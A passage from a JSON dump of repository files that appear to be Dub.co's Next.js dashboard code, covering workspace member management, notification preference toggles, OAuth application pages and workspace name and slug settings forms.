className=\"size-4 bg-blue-100 bg-transparent text-blue-600\" />\n            ),\n          },\n        ],\n      },\n    ],\n    [availableRolesForPlan],\n  );\n\n  // Active filters state\n  const activeFilters = useMemo(() => {\n    const filters: { key: string; value: any }[] = [];\n    if (status) {\n      filters.push({ key: \"status\", value: status });\n    }\n    if (roleFilter) {\n      filters.push({ key: \"role\", value: roleFilter });\n    }\n    return filters;\n  }, [status, roleFilter]);\n\n  useKeyboardShortcut(\"m\", () => setShowInviteWorkspaceUserModal(true));\n\n  const columns = useMemo<ColumnDef<WorkspaceUserProps>[]>(\n    () => [\n      {\n        id: \"name\",\n        header: \"Name\",\n        accessorFn: (row) => row.name || row.email,\n        minSize: 360,\n        size: 870,\n        maxSize: 900,\n        cell: ({ row }) => {\n          const user = row.original;\n          const isCurrentUser = session?.user?.email === user.email;\n\n          return (\n            <div className=\"flex items-center space-x-3\">\n              <UserAvatar user={user} />\n              <div className=\"flex flex-col\">\n                <h3 className=\"text-sm font-medium\">\n                  {user.name || user.email}\n                  {isCurrentUser && (\n                    <span className=\"ml-1 text-neutral-500\">(You)</span>\n                  )}\n                </h3>\n                <p className=\"text-xs text-neutral-500\">\n                  {status === \"invited\"\n                    ? `Invited ${timeAgo(user.createdAt)}`\n                    : user.email}\n                </p>\n              </div>\n            </div>\n          );\n        },\n      },\n      {\n        id: \"role\",\n        header: \"Role\",\n        accessorFn: (row) => row.role,\n        minSize: 120,\n        size: 150,\n        maxSize: 200,\n        cell: ({ row }) =>\n          !row.original.isMachine && (\n            <RoleCell\n              user={row.original}\n              isCurrentUser={session?.user?.email === row.original.email}\n              isCurrentUserOwner={isCurrentUserOwner}\n            />\n          ),\n      },\n      {\n        id: \"menu\",\n        enableHiding: false,\n        header: () => null,\n        cell: ({ row }) => (\n          <RowMenuButton row={row} isCurrentUserOwner={isCurrentUserOwner} />\n        ),\n      },\n    ],\n    [session?.user?.email, isCurrentUserOwner, status],\n  );\n\n  const { table, ...tableProps } = useTable({\n    data: users || [],\n    columns,\n    pagination,\n    onPaginationChange: setPagination,\n    getRowId: (row) =>\n      `${row.id || row.email}-${status}-${roleFilter || \"all\"}`,\n    thClassName: \"border-l-0\",\n    tdClassName: \"border-l-0\",\n    resourceName: (p) =>\n      `${status === \"invited\" ? \"invite\" : \"member\"}${p ? \"s\" : \"\"}`,\n    rowCount: users?.length || 0,\n    loading,\n    error: error ? \"Failed to load members\" : undefined,\n  });\n\n  const onSelect = (key: string, value: any) => {\n    queryParams({\n      set: {\n        [key]: value,\n      },\n    });\n  };\n\n  const onRemove = (key: string) => {\n    queryParams({\n      del: [key, \"page\"],\n    });\n  };\n\n  const onRemoveAll = () => {\n    queryParams({\n      del: [\"role\", \"status\", \"page\"],\n    });\n  };\n\n  return (\n    <>\n      <InviteWorkspaceUserModal />\n      <InviteCodeModal />\n      <PageContent\n        title=\"Members\"\n        titleInfo={{\n          title:\n            \"Learn how to [invite teammates](https://dub.co/help/article/how-to-invite-teammates) to your workspace and [assign them different roles and permissions](https://dub.co/help/article/workspace-roles).\",\n        }}\n        controls={\n          <div className=\"flex space-x-2\">\n            <Button\n              text=\"Invite member\"\n              onClick={() => setShowInviteWorkspaceUserModal(true)}\n              className=\"h-9 w-fit\"\n              shortcut=\"M\"\n              disabledTooltip={\n                clientAccessCheck({\n                  action: \"workspaces.write\",\n                  role,\n                  customPermissionDescription: \"invite new teammates\",\n                }).error || undefined\n              }\n            />\n            <Button\n              icon={<LinkIcon className=\"h-4 w-4 text-neutral-800\" />}\n              variant=\"secondary\"\n              onClick={() => setShowInviteCodeModal(true)}\n              className=\"h-9 space-x-0\"\n              disabledTooltip={\n                clientAccessCheck({\n                  action: \"workspaces.write\",\n                  role,\n                  customPermissionDescription: \"generate invite links\",\n                }).error || undefined\n              }\n            />\n          </div>\n        }\n      >\n        <PageWidthWrapper className=\"mb-20 flex flex-col gap-2\">\n          <div className=\"flex justify-between gap-3\">\n            <div className=\"flex items-center gap-2\">\n              <Filter.Select\n                filters={filters}\n                activeFilters={activeFilters}\n                onSelect={onSelect}\n                onRemove={onRemove}\n              />\n              {inviteCount && status !== \"invited\" ? (\n                <Button\n                  text=\"View pending invites\"\n                  variant=\"secondary\"\n                  className=\"w-fit\"\n                  right={\n                    inviteCount > 0 ? (\n                      <span className=\"rounded-full bg-neutral-200 px-1.5 py-0.5 text-xs font-medium text-neutral-700\">\n                        {inviteCount}\n                      </span>\n                    ) : undefined\n                  }\n                  onClick={() =>\n                    queryParams({ set: { status: \"invited\" }, del: \"page\" })\n                  }\n                />\n              ) : undefined}\n            </div>\n            <SearchBoxPersisted\n              placeholder=\"Search by name or email\"\n              inputClassName=\"w-full md:w-[20rem]\"\n            />\n          </div>\n          <Filter.List\n            filters={filters}\n            activeFilters={activeFilters}\n            onSelect={onSelect}\n            onRemove={onRemove}\n            onRemoveAll={onRemoveAll}\n          />\n          <Table {...tableProps} table={table} />\n        </PageWidthWrapper>\n      </PageContent>\n    </>\n  );\n}\n\nfunction RoleCell({\n  user,\n  isCurrentUser,\n  isCurrentUserOwner,\n}: {\n  user: WorkspaceUserProps;\n  isCurrentUser: boolean;\n  isCurrentUserOwner: boolean;\n}) {\n  const { plan } = useWorkspace();\n  const [role, setRole] = useState<WorkspaceRole>(user.role);\n\n  useEffect(() => {\n    setRole(user.role);\n  }, [user.role]);\n\n  // Get available roles for plan to determine which to disable\n  const availableRolesForPlan = useMemo(() => {\n    return getAvailableRolesForPlan(plan);\n  }, [plan]);\n\n  const { WorkspaceUserRoleModal, setShowWorkspaceUserRoleModal } =\n    useWorkspaceUserRoleModal({\n      user: {\n        id: user.id || \"\",\n        name: user.name || \"\",\n        email: user.email || \"\",\n        image: user.image || \"\",\n        createdAt: user.createdAt,\n        source: null,\n        isMachine: false,\n        hasPassword: false,\n        provider: null,\n      },\n      role,\n    });\n\n  const isDisabled =\n    !isCurrentUserOwner || // Only owners can change roles\n    isCurrentUser; // Can't change your own role\n\n  return (\n    <>\n      <WorkspaceUserRoleModal />\n      <select\n        className={cn(\n          \"rounded-md border border-neutral-200 text-xs text-neutral-500 focus:border-neutral-600 focus:ring-neutral-600\",\n          {\n            \"cursor-not-allowed bg-neutral-100\": isDisabled,\n          },\n        )}\n        value={role}\n        disabled={isDisabled}\n        onChange={(e) => {\n          const newRole = e.target.value as WorkspaceRole;\n          setRole(newRole);\n          setShowWorkspaceUserRoleModal(true);\n        }}\n        title={\n          !isCurrentUserOwner\n            ? \"Only owners can change member roles\"\n            : isCurrentUser\n              ? \"You cannot change your own role\"\n              : undefined\n        }\n      >\n        {WORKSPACE_ROLES.map(({ value, label }) => {\n          return (\n            <option\n              key={value}\n              value={value}\n              disabled={!availableRolesForPlan.includes(value)}\n            >\n              {label}\n            </option>\n          );\n        })}\n      </select>\n    </>\n  );\n}\n\nfunction RowMenuButton({\n  row,\n  isCurrentUserOwner,\n}: {\n  row: Row<WorkspaceUserProps>;\n  isCurrentUserOwner: boolean;\n}) {\n  const [isOpen, setIsOpen] = useState(false);\n  const { data: session } = useSession();\n\n  const user = row.original;\n  const searchParams = useSearchParams();\n  const isInvite = searchParams.get(\"status\") === \"invited\";\n\n  const { RemoveWorkspaceUserModal, setShowRemoveWorkspaceUserModal } =\n    useRemoveWorkspaceUserModal({\n      user: {\n        id: user.id || \"\",\n        name: user.name || \"\",\n        email: user.email || \"\",\n        image: user.image || \"\",\n        createdAt: user.createdAt,\n        source: null,\n        isMachine: false,\n        hasPassword: false,\n        provider: null,\n      },\n    });\n\n  const isCurrentUser = session?.user?.email === user.email;\n\n  // Only show menu if user is owner OR they're removing themselves\n  if (!isCurrentUserOwner && !isCurrentUser) {\n    return null;\n  }\n\n  return (\n    <>\n      <RemoveWorkspaceUserModal />\n      <Popover\n        openPopover={isOpen}\n        setOpenPopover={setIsOpen}\n        content={\n          <Command tabIndex={0} loop className=\"focus:outline-none\">\n            <Command.List className=\"w-screen text-sm focus-visible:outline-none sm:w-auto sm:min-w-[200px]\">\n              <Command.Group className=\"grid gap-px p-1.5\">\n                <MenuItem\n                  icon={UserMinus}\n                  label={\n                    isCurrentUser\n                      ? \"Leave workspace\"\n                      : isInvite\n                        ? \"Revoke invitation\"\n                        : \"Remove member\"\n                  }\n                  variant=\"danger\"\n                  onSelect={() => {\n                    setShowRemoveWorkspaceUserModal(true);\n                    setIsOpen(false);\n                  }}\n                />\n              </Command.Group>\n            </Command.List>\n          </Command>\n        }\n        align=\"end\"\n      >\n        <Button\n          type=\"button\"\n          className=\"h-8 whitespace-nowrap px-2 disabled:border-transparent disabled:bg-transparent\"\n          variant=\"outline\"\n          icon={<Dots className=\"h-4 w-4 shrink-0\" />}\n        />\n      </Popover>\n    </>\n  );\n}\n\nfunction MenuItem({\n  icon: IconComp,\n  label,\n  onSelect,\n  variant = \"default\",\n}: {\n  icon: Icon;\n  label: string;\n  onSelect: () => void;\n  variant?: \"default\" | \"danger\";\n}) {\n  return (\n    <Command.Item\n      onSelect={onSelect}\n      className={cn(\n        \"flex cursor-pointer items-center gap-2 rounded-md px-2 py-1.5 text-sm\",\n        variant === \"danger\"\n          ? \"text-red-600 hover:bg-red-50\"\n          : \"text-neutral-700 hover:bg-neutral-100\",\n      )}\n    >\n      <IconComp className=\"size-4 shrink-0\" />\n      {label}\n    </Command.Item>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/members/page.tsx",
    "content": "import { WorkspaceMembersClient } from \"./page-client\";\n\nexport default function WorkspaceMembers() {\n  return <WorkspaceMembersClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/notifications/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\n\nexport default function NotificationsLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  return (\n    <PageContent\n      title=\"Notifications\"\n      titleInfo={{\n        title:\n          \"Adjust your notification preferences and choose the updates you want to receive. These settings apply only to your account.\",\n      }}\n    >\n      <PageWidthWrapper>{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/notifications/page-client.tsx",
    "content": "\"use client\";\n\nimport { updateWorkspaceNotificationPreference } from \"@/lib/actions/update-workspace-notification-preference\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { notificationTypes } from \"@/lib/zod/schemas/workspaces\";\nimport { Switch, useOptimisticUpdate } from \"@dub/ui\";\nimport { Globe, Hyperlink, Msgs, ShieldAlert, UserPlus } from \"@dub/ui/icons\";\nimport { isClickOnInteractiveChild } from \"@dub/utils\";\nimport { DollarSign, ListChecks, Trophy } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport React from \"react\";\nimport * as z from \"zod/v4\";\n\ntype PreferenceType = z.infer<typeof notificationTypes>;\ntype Preferences = Record<PreferenceType, boolean>;\n\nexport default function NotificationsSettingsPageClient() {\n  const { id: workspaceId } = useWorkspace();\n  const { executeAsync } = useAction(updateWorkspaceNotificationPreference);\n\n  const workspaceNotifications = [\n    {\n      type: \"domainConfigurationUpdates\",\n      icon: Globe,\n      title: \"Domain configuration updates\",\n      description: \"Updates to your custom domain configuration.\",\n    },\n    {\n      type: \"linkUsageSummary\",\n      icon: Hyperlink,\n      title: \"Monthly links usage summary\",\n      description:\n        \"Monthly summary email of your top 5 links by usage & total links created.\",\n    },\n  ];\n\n  const partnerProgramNotifications = [\n    {\n      type: \"newPartnerSale\",\n      icon: DollarSign,\n      title: \"New partner sale\",\n      description: \"Alert when a new sale is made in your partner program.\",\n    },\n    {\n      type: \"newBountySubmitted\",\n      icon: Trophy,\n      title: \"New bounty submitted\",\n      description:\n        \"Alert when a new bounty is submitted in your partner program.\",\n    },\n    {\n      type: \"newMessageFromPartner\",\n      icon: Msgs,\n      title: \"New message from partner\",\n      description:\n        \"Alert when a new message is received from a partner in your partner program.\",\n    },\n    {\n      type: \"newPartnerApplication\",\n      icon: UserPlus,\n      title: \"New partner application\",\n      description:\n        \"Alert when a new partner application is made in your partner program.\",\n    },\n    {\n      type: \"pendingApplicationsSummary\",\n      icon: ListChecks,\n      title: \"Pending applications summary\",\n      description: \"Daily summary email of pending partner applications.\",\n    },\n    {\n      type: \"fraudEventsSummary\",\n      icon: ShieldAlert,\n      title: \"Daily fraud events summary\",\n      description:\n        \"Daily summary email of unresolved fraud events detected in your partner program.\",\n    },\n  ];\n\n  const {\n    data: preferences,\n    isLoading,\n    update,\n  } = useOptimisticUpdate<Preferences>(\n    `/api/workspaces/${workspaceId}/notification-preferences`,\n    {\n      loading: \"Updating notification preference...\",\n      success: \"Notification preference updated.\",\n      error: \"Failed to update notification preference.\",\n    },\n  );\n\n  const handleUpdate = async ({\n    type,\n    value,\n    currentPreferences,\n  }: {\n    type: string;\n    value: boolean;\n    currentPreferences: Preferences;\n  }) => {\n    await executeAsync({\n      workspaceId: workspaceId!,\n      type: type as PreferenceType,\n      value,\n    });\n\n    return {\n      ...currentPreferences,\n      [type]: value,\n    };\n  };\n\n  const renderNotificationItem = ({\n    type,\n    icon: Icon,\n    title,\n    description,\n    isLast,\n  }: {\n    type: string;\n    icon: React.ComponentType<{ className?: string }>;\n    title: string;\n    description: string;\n    isLast?: boolean;\n  }) => {\n    const handleRowClick = (e: React.MouseEvent<HTMLDivElement>) => {\n      if (isClickOnInteractiveChild(e) || !preferences || isLoading) return;\n\n      const newValue = !preferences[type];\n      update(\n        () =>\n          handleUpdate({\n            type,\n            value: newValue,\n            currentPreferences: preferences,\n          }),\n        {\n          ...preferences,\n          [type]: newValue,\n        },\n      );\n    };\n\n    return (\n      <div key={type}>\n        <div\n          onClick={handleRowClick}\n          className=\"flex cursor-pointer items-start justify-between py-5 pr-2 sm:items-center\"\n        >\n          <div className=\"flex min-w-0 items-start gap-4 sm:items-center\">\n            <div className=\"flex shrink-0 items-center justify-center rounded-full border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2.5\">\n              <Icon className=\"size-5\" />\n            </div>\n            <div className=\"min-w-0 flex-1 pr-4\">\n              <div className=\"text-sm font-medium text-neutral-800\">\n                {title}\n              </div>\n              <div className=\"mt-0.5 text-xs text-neutral-500\">\n                {description}\n              </div>\n            </div>\n          </div>\n          <Switch\n            checked={preferences?.[type] ?? false}\n            disabled={isLoading}\n            fn={(checked: boolean) => {\n              if (!preferences) return;\n\n              update(\n                () =>\n                  handleUpdate({\n                    type,\n                    value: checked,\n                    currentPreferences: preferences,\n                  }),\n                {\n                  ...preferences,\n                  [type]: checked,\n                },\n              );\n            }}\n          />\n        </div>\n        {!isLast && <div className=\"border-t border-neutral-200\" />}\n      </div>\n    );\n  };\n\n  const renderSection = ({\n    title,\n    notifications,\n  }: {\n    title: string;\n    notifications: Array<{\n      type: string;\n      icon: React.ComponentType<{ className?: string }>;\n      title: string;\n      description: string;\n    }>;\n  }) => (\n    <div className=\"rounded-xl border border-neutral-200 bg-white\">\n      <div className=\"border-b border-neutral-200 p-5\">\n        <h2 className=\"text-base font-semibold text-neutral-900\">{title}</h2>\n      </div>\n      <div className=\"px-5\">\n        {notifications.map((notification, index) =>\n          renderNotificationItem({\n            ...notification,\n            isLast: index === notifications.length - 1,\n          }),\n        )}\n      </div>\n    </div>\n  );\n\n  return (\n    <div className=\"flex flex-col gap-6\">\n      {renderSection({\n        title: \"Short links\",\n        notifications: workspaceNotifications,\n      })}\n      {renderSection({\n        title: \"Partner program\",\n        notifications: partnerProgramNotifications,\n      })}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/notifications/page.tsx",
    "content": "import NotificationsSettingsPageClient from \"./page-client\";\n\nexport default function NotificationsSettingsPage() {\n  return <NotificationsSettingsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/[appId]/page-client.tsx",
    "content": "\"use client\";\n\nimport { generateClientSecret } from \"@/lib/actions/generate-client-secret\";\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppProps } from \"@/lib/types\";\nimport { useRemoveOAuthAppModal } from \"@/ui/modals/remove-oauth-app-modal\";\nimport { useSubmitOAuthAppModal } from \"@/ui/modals/submit-oauth-app-modal\";\nimport AddOAuthAppForm from \"@/ui/oauth-apps/add-edit-app-form\";\nimport OAuthAppCredentials from \"@/ui/oauth-apps/oauth-app-credentials\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { ThreeDots } from \"@/ui/shared/icons\";\nimport { TokenAvatar } from \"@/ui/token-avatar\";\nimport { BlurImage, Button, MaxWidthWrapper, Popover, Refresh2 } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport { Trash, Upload } from \"lucide-react\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { redirect } from \"next/navigation\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\n\nexport default function OAuthAppManagePageClient({ appId }: { appId: string }) {\n  const { slug, id: workspaceId, role } = useWorkspace();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { executeAsync, result, isPending } = useAction(generateClientSecret, {\n    onSuccess: () => {\n      toast.success(\"New client secret generated.\");\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const { data: oAuthApp, isLoading } = useSWR<OAuthAppProps>(\n    `/api/oauth/apps/${appId}?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  const { RemoveOAuthAppModal, setShowRemoveOAuthAppModal } =\n    useRemoveOAuthAppModal({\n      oAuthApp,\n    });\n\n  const { SubmitOAuthAppModal, setShowSubmitOAuthAppModal } =\n    useSubmitOAuthAppModal({\n      oAuthApp,\n    });\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"oauth_apps.write\",\n    role,\n  });\n\n  if (!isLoading && !oAuthApp) {\n    redirect(`/${slug}/settings/oauth-apps`);\n  }\n\n  return (\n    <>\n      <MaxWidthWrapper className=\"grid max-w-screen-lg gap-8\">\n        <RemoveOAuthAppModal />\n        <SubmitOAuthAppModal />\n        <BackLink href={`/${slug}/settings/oauth-apps`}>\n          Back to OAuth Apps\n        </BackLink>\n        <div className=\"flex justify-between gap-2 sm:items-center\">\n          {isLoading ? (\n            <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center\">\n              <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                <TokenAvatar id=\"placeholder-oauth-app\" className=\"size-8\" />\n              </div>\n              <div className=\"flex flex-col gap-2\">\n                <div className=\"h-3 w-20 rounded-full bg-neutral-100\"></div>\n                <div className=\"h-3 w-40 rounded-full bg-neutral-100\"></div>\n              </div>\n            </div>\n          ) : (\n            <div className=\"flex flex-col gap-3 sm:flex-row sm:items-center\">\n              <div className=\"w-fit flex-none rounded-md border border-neutral-200 bg-gradient-to-t from-neutral-100 p-2\">\n                {oAuthApp?.logo ? (\n                  <BlurImage\n                    src={oAuthApp.logo}\n                    alt={`Logo for ${oAuthApp.name}`}\n                    className=\"size-8 rounded-full border border-neutral-200\"\n                    width={20}\n                    height={20}\n                  />\n                ) : (\n                  <TokenAvatar id={oAuthApp?.clientId!} className=\"size-8\" />\n                )}\n              </div>\n              <div>\n                <p className=\"font-semibold text-neutral-700\">\n                  {oAuthApp?.name}\n                </p>\n                <p className=\"text-pretty text-sm text-neutral-500\">\n                  {oAuthApp?.description}\n                </p>\n              </div>\n            </div>\n          )}\n\n          <Popover\n            content={\n              <div className=\"grid w-screen gap-px p-2 sm:w-48\">\n                <Button\n                  text={isPending ? \"Regenerating...\" : \"Regenerate secret\"}\n                  variant=\"outline\"\n                  icon={<Refresh2 className=\"h-4 w-4\" />}\n                  className=\"h-9 justify-start px-2 font-medium\"\n                  disabled={isPending}\n                  onClick={async () => {\n                    await executeAsync({\n                      workspaceId: workspaceId!,\n                      appId,\n                    });\n                    setOpenPopover(false);\n                  }}\n                />\n                {!oAuthApp?.verified && (\n                  <Button\n                    text=\"Submit for review\"\n                    variant=\"outline\"\n                    icon={<Upload className=\"h-4 w-4\" />}\n                    className=\"h-9 justify-start px-2\"\n                    onClick={() => {\n                      setOpenPopover(false);\n                      setShowSubmitOAuthAppModal(true);\n                    }}\n                  />\n                )}\n                <Button\n                  text=\"Remove application\"\n                  variant=\"danger-outline\"\n                  icon={<Trash className=\"h-4 w-4\" />}\n                  className=\"h-9 justify-start px-2\"\n                  onClick={() => {\n                    setShowRemoveOAuthAppModal(true);\n                  }}\n                />\n              </div>\n            }\n            align=\"end\"\n            openPopover={openPopover}\n            setOpenPopover={setOpenPopover}\n          >\n            <Button\n              variant=\"outline\"\n              className=\"flex w-8 rounded-md border border-neutral-200 px-2 transition-[border-color] duration-200\"\n              icon={<ThreeDots className=\"h-5 w-5 shrink-0 text-neutral-500\" />}\n              onClick={() => setOpenPopover(!openPopover)}\n              {...(permissionsError && {\n                disabledTooltip: permissionsError,\n              })}\n            />\n          </Popover>\n        </div>\n      </MaxWidthWrapper>\n\n      <MaxWidthWrapper className=\"mt-4 max-w-screen-lg space-y-6\">\n        {oAuthApp && (\n          <>\n            <OAuthAppCredentials\n              clientId={oAuthApp.clientId}\n              clientSecret={result.data?.clientSecret || null}\n              partialClientSecret={oAuthApp.partialClientSecret}\n            />\n            <hr />\n            <AddOAuthAppForm oAuthApp={oAuthApp} />\n          </>\n        )}\n      </MaxWidthWrapper>\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/[appId]/page.tsx",
    "content": "import OAuthAppManagePageClient from \"./page-client\";\n\nexport default async function OAuthAppManagePage(props: {\n  params: Promise<{ appId: string }>;\n}) {\n  const params = await props.params;\n  const { appId } = params;\n\n  return <OAuthAppManagePageClient appId={appId} />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/create-oauth-app-button.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { Button } from \"@dub/ui\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\n\nexport default function CreateOAuthAppButton() {\n  const pathname = usePathname();\n  const { slug, role } = useWorkspace();\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"oauth_apps.write\",\n    role: role,\n  });\n\n  if (!pathname.endsWith(\"/settings/oauth-apps\")) {\n    return null;\n  }\n\n  return (\n    <Link href={`/${slug}/settings/oauth-apps/new`}>\n      <Button\n        className=\"flex h-10 items-center justify-center whitespace-nowrap rounded-lg border px-4 text-sm\"\n        text=\"Create OAuth App\"\n        disabledTooltip={permissionsError}\n      />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\nimport CreateOAuthAppButton from \"./create-oauth-app-button\";\n\nexport default function OAuthAppsLayout({ children }: { children: ReactNode }) {\n  return (\n    <PageContent\n      title=\"OAuth Applications\"\n      titleInfo={{\n        title:\n          \"Learn how to use OAuth applications to build integrations with Dub.\",\n        href: \"https://dub.co/docs/integrations/quickstart\",\n      }}\n      controls={<CreateOAuthAppButton />}\n    >\n      <PageWidthWrapper>{children}</PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/new/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport AddOAuthAppForm from \"@/ui/oauth-apps/add-edit-app-form\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { MaxWidthWrapper } from \"@dub/ui\";\nimport { redirect } from \"next/navigation\";\n\nexport default function NewOAuthAppPageClient() {\n  const { slug, role } = useWorkspace();\n\n  const { error: permissionsError } = clientAccessCheck({\n    action: \"oauth_apps.write\",\n    role,\n  });\n\n  if (permissionsError) {\n    redirect(`/${slug}/settings`);\n  }\n\n  return (\n    <MaxWidthWrapper className=\"max-w-screen-lg space-y-6\">\n      <BackLink href={`/${slug}/settings/oauth-apps`}>\n        Back to OAuth Apps\n      </BackLink>\n\n      <AddOAuthAppForm oAuthApp={null} />\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/new/page.tsx",
    "content": "import NewOAuthAppPageClient from \"./page-client\";\n\nexport default async function NewOAuthAppPage() {\n  return <NewOAuthAppPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/page-client.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { OAuthAppProps } from \"@/lib/types\";\nimport OAuthAppCard from \"@/ui/oauth-apps/oauth-app-card\";\nimport OAuthAppPlaceholder from \"@/ui/oauth-apps/oauth-app-placeholder\";\nimport EmptyState from \"@/ui/shared/empty-state\";\nimport { Cube } from \"@dub/ui\";\nimport { fetcher } from \"@dub/utils\";\nimport useSWR from \"swr\";\n\nexport default function OAuthAppsPageClient() {\n  const { id: workspaceId } = useWorkspace();\n\n  const { data: oAuthApps, isLoading } = useSWR<OAuthAppProps[]>(\n    `/api/oauth/apps?workspaceId=${workspaceId}`,\n    fetcher,\n  );\n\n  return (\n    <div className=\"grid gap-5\">\n      <div className=\"animate-fade-in\">\n        {!isLoading ? (\n          oAuthApps && oAuthApps.length > 0 ? (\n            <div className=\"grid grid-cols-1 gap-3\">\n              {oAuthApps.map((oAuthApp) => (\n                <OAuthAppCard {...oAuthApp} key={oAuthApp.id} />\n              ))}\n            </div>\n          ) : (\n            <div className=\"flex flex-col items-center gap-4 rounded-xl border border-neutral-200 py-10\">\n              <EmptyState icon={Cube} title={\"No OAuth applications found\"} />\n            </div>\n          )\n        ) : (\n          <div className=\"grid grid-cols-1 gap-3\">\n            {Array.from({ length: 3 }).map((_, idx) => (\n              <OAuthAppPlaceholder />\n            ))}\n          </div>\n        )}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/oauth-apps/page.tsx",
    "content": "import OAuthAppsPageClient from \"./page-client\";\n\nexport default async function OAuthAppsPage() {\n  return <OAuthAppsPageClient />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport DeleteWorkspace from \"@/ui/workspaces/delete-workspace\";\nimport UploadLogo from \"@/ui/workspaces/upload-logo\";\nimport { Form } from \"@dub/ui\";\nimport { useSession } from \"next-auth/react\";\nimport { useRouter } from \"next/navigation\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\n\nexport default function WorkspaceSettingsClient() {\n  const router = useRouter();\n  const { id, name, slug, role } = useWorkspace();\n\n  const permissionsError = clientAccessCheck({\n    action: \"workspaces.write\",\n    role,\n  }).error;\n\n  const { update } = useSession();\n\n  return (\n    <div className=\"mb-6 space-y-6\">\n      <Form\n        title=\"Workspace Name\"\n        description={`This is the name of your workspace on ${process.env.NEXT_PUBLIC_APP_NAME}.`}\n        inputAttrs={{\n          name: \"name\",\n          defaultValue: name,\n          placeholder: \"My Workspace\",\n          maxLength: 32,\n        }}\n        helpText=\"Max 32 characters.\"\n        disabledTooltip={permissionsError || undefined}\n        handleSubmit={(updateData) =>\n          fetch(`/api/workspaces/${id}`, {\n            method: \"PATCH\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify(updateData),\n          }).then(async (res) => {\n            if (res.status === 200) {\n              await Promise.all([\n                mutate(\"/api/workspaces\"),\n                mutate(`/api/workspaces/${id}`),\n              ]);\n              toast.success(\"Successfully updated workspace name!\");\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n          })\n        }\n      />\n      <Form\n        title=\"Workspace Slug\"\n        description={`This is your workspace's unique slug on ${process.env.NEXT_PUBLIC_APP_NAME}.`}\n        inputAttrs={{\n          name: \"slug\",\n          defaultValue: slug,\n          placeholder: \"my-workspace\",\n          pattern: \"^[a-z0-9-]+$\",\n          maxLength: 48,\n        }}\n        helpText=\"Only lowercase letters, numbers, and dashes. Max 48 characters.\"\n        disabledTooltip={permissionsError || undefined}\n        handleSubmit={(data) =>\n          fetch(`/api/workspaces/${id}`, {\n            method: \"PATCH\",\n            headers: {\n              \"Content-Type\": \"application/json\",\n            },\n            body: JSON.stringify(data),\n          }).then(async (res) => {\n            if (res.status === 200) {\n              const { slug: newSlug } = await res.json();\n              await mutate(\"/api/workspaces\");\n              if (newSlug != slug) {\n                router.push(`/${newSlug}/settings`);\n                update();\n              }\n              toast.success(\"Successfully updated workspace slug!\");\n            } else {\n              const { error } = await res.json();\n              toast.error(error.message);\n            }\n          })\n        }\n      />\n      <UploadLogo />\n      <DeleteWorkspace />\n    </div>\n  );\n}\n"
  },
  {
